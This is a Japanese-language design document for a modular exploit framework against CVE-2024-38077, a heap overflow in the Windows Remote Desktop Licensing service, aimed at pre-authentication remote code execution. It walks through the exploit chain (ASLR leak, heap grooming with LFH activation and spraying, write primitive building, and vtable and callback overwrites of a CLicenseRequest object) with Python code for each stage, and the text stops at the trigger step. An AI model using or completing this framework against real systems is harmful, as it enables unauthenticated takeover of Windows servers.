CVE-2024-38077(Windows RDL ヒープオーバーフロー)向けのモジュール式エクスプロイトフレームワーク。ASLRバイパス、ヒープグルーミング、ROPチェーン生成、DLLインジェクションペイロードを備え、事前認証なしのリモートコード実行を実現します。
このドキュメントでは、フレームワークの各コンポーネント、存在理由、および最新Windowsでのヒープバッファオーバーフローエクスプロイトの仕組みを説明します。
Windows Remote Desktop Licensing Service(lserver.exe)は、CDataCoding::DecodeData 関数にヒープバッファオーバーフローが存在します。
┌─────────────────────────────────────────────────────────────┐
│ 脆弱性: サイズ計算の誤り │
├─────────────────────────────────────────────────────────────┤
│ 1. クライアントがサイズNのBase64データを送信 │
│ 2. サーバーが計算: buffer_size = (N / 4) * 3 │
│ 3. サーバーが 'buffer_size' バイトのバッファを割り当て │
│ 4. 実際のBase64デコード: ceil(N * 3/4) バイト書き込み │
│ 5. Nが4の倍数でない場合: オーバーフロー! │
└─────────────────────────────────────────────────────────────┘
具体的な例:
(4001 / 4) * 3 = 1000 * 3 = 3000 バイト割り当てceil(4001 * 0.75) = 3001 バイト書き込み┌─────────────────────────────────────────────────────────────────┐
│ エクスプロイトチェーン │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│ LEAK │ MODEL │ WRITE │ GROOM │ TRIGGER │ EXECUTE │
│ (ASLR) │ (Target) │ (Where) │ (Heap) │ (Use) │ (RCE) │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py │target_ │write_ │heap_ │trigger │code_ │
│ │model.py │primitive │controller│.py │reuse.py │
│ │ │.py │.py │ │ │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
↓ ↓
┌───────────┐ ┌──────────────┐
│ execution │ │ payload │
│ .py │ │ .py │
└───────────┘ └──────────────┘
↓ ↓
┌───────────────────────────────────────────────────────────┐
│ mitigations.py │
│ (DEP、ASLR、CFG 認識) │
└───────────────────────────────────────────────────────────┘
↓
┌───────────────────────────────────────────────────────────┐
│ exploit.py │
│ (オーケストレーター) │
└───────────────────────────────────────────────────────────┘
primitives.py - 基礎メモリ操作のための低レベルユーティリティ。
エクスプロイトには以下が必要:
# Pack/Unpack - 整数とバイトの相互変換
p64(0xDEADBEEF) # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141) # → b'AAAA'
u64(b'\x41\x42...') # → 0x... (int)
# 巡回パターン - クラッシュオフセットの特定用
cyclic(100) # De Bruijn シーケンス生成
cyclic_find(pattern, value) # 値のオフセット検出
# アラインメント - メモリは整列が必要
align(0x1003, 0x10) # → 0x1010(16バイト境界に整列)
現実の問題: クラッシュが発生し、RIP に 0x61616171 が入っている。
cyclic_find(pattern, 0x61616171) → 正確なオフセット!leak.py - ASLR バイパスAddress Space Layout Randomization: ブート/実行のたびにアドレスが変わる。
ブート1: ntdll.dll @ 0x7FFA12340000
ブート2: ntdll.dll @ 0x7FFB98760000
ブート3: ntdll.dll @ 0x7FFC55550000
メモリの位置がわからないと:
class LeakInfo:
"""リークされたアドレスを格納するコンテナ"""
heap_base: int # ヒープベース
ntdll_base: int # ntdll.dll ベース
kernel32_base: int # kernel32.dll ベース
# ...
class LeakProvider:
"""リークソースのオーケストレーター"""
sources: List[LeakSource]
def obtain() -> LeakInfo:
# 各ソースを成功するまで試行
| ソース | 動作方法 | 使用時 |
|---|---|---|
ManualLeakSource | ユーザーがアドレスを指定 | ラボ/デバッグ(ターゲットにアクセス可能) |
ResponseLeakSource | RPC応答から抽出 | サービスがポインタを漏洩する場合 |
TimingLeakSource | タイミングサイドチャネル | 理論上、非常に困難 |
デモ/ラボでは、次のことが可能:
--ntdll-base 0x7ffa... で指定これにより、実際のリークをシミュレートし、チェーンの残りの部分をテストできます。
target_model.py - ターゲットのマッピング脆弱なデータ構造と隣接するデータ構造のモデリング。
オーバーフロー ≠ エクスプロイト。以下を知る必要がある:
class VulnerableBuffer:
"""オーバーフローが発生するバッファ"""
allocation_size: int # 割り当てられたサイズ
write_size: int # 書き込まれるサイズ
overflow_amount: int # 差分 = オーバーフロー量
def calculate_overflow(input_size):
# 計算バグのシミュレーション
alloc = (input_size // 4) * 3
actual = ((input_size + 3) // 4) * 3
return alloc, actual, actual - alloc
class AdjacentObject:
"""破壊されるオブジェクト(ヒープ上で隣接)"""
fields: List[StructField]
has_vtable: bool # 仮想テーブルを持つか?
has_function_ptr: bool # 関数ポインタを持つか?
# リバースエンジニアリングに基づく仮想的なオブジェクト
license_req = AdjacentObject(
name="CLicenseRequest",
typical_size=0x100,
has_vtable=True
)
# マッピングされたフィールド
license_req.add_field("vtable", 0x00, 8, VTABLE, is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)
is_target=True の理由エクスプロイトに有用なフィールドを示す:
vtable: 上書きするとメソッド呼び出しを制御可能callback: 上書きするとコールバック呼び出しを制御可能write_primitive.py - 制御された書き込みオーバーフローは連続データを書き込む。しかし、以下が必要:
class WritePrimitive:
def build_overflow_data(self) -> bytes:
"""
正確な値でオーバーフローバッファを構築
レイアウト:
[オフセットまでのパディング] [制御された値] [さらにデータ]
"""
data = bytearray(b"A" * max_offset)
for target in self.targets:
# 正確なオフセットに正確な値を配置
data[target.offset:target.offset+8] = p64(target.value)
return bytes(data)
# vtable の上書き
write_primitive.set_vtable_overwrite(
vtable_addr=fake_vtable_address,
obj_name="CLicenseRequest"
)
# コールバックの上書き
write_primitive.set_callback_overwrite(
callback_addr=gadget_address
)
| 書き込み | 結果 |
|---|---|
| AAAA... | 制御不能なクラッシュ |
| 正確なオフセットに正確なアドレス | 制御された実行 |
heap_controller.py - ヒープグルーミングWindows は LFH(Low Fragmentation Heap) と Segment Heap を使用:
グルーミング = ヒープを決定的なレイアウトに整形。
グルーミング前:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
ランダムな割り当て、予測不能な穴
グルーミング後:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
制御されたレイアウト、望みの場所に「穴」
class HeapLayoutController:
def execute_full_groom(self):
# フェーズ1: 既存の穴を埋める
self.phase_fill(50)
# フェーズ2: ターゲットバケットのLFHを有効化
# (Windowsは同じサイズの割り当て約17回後にLFHを有効化)
self.phase_activate_lfh()
# フェーズ3: スプレー - 密なパターンを作成
sprayed = self.phase_spray(200)
# フェーズ4: 戦略的な穴を作成
# N回の割り当てごとに解放
self.phase_create_holes(sprayed, interval=4)
# フェーズ5: 安定化
self.phase_stabilize()
trigger.py - 破壊後のトリガー破壊が発生した。次は?
現在の状態:
- メモリ破損 ✓
- 悪意のある値書き込み ✓
- しかし、まだその値は使用されていない!
プログラムに破損データを読み取らせ、使用させる必要がある。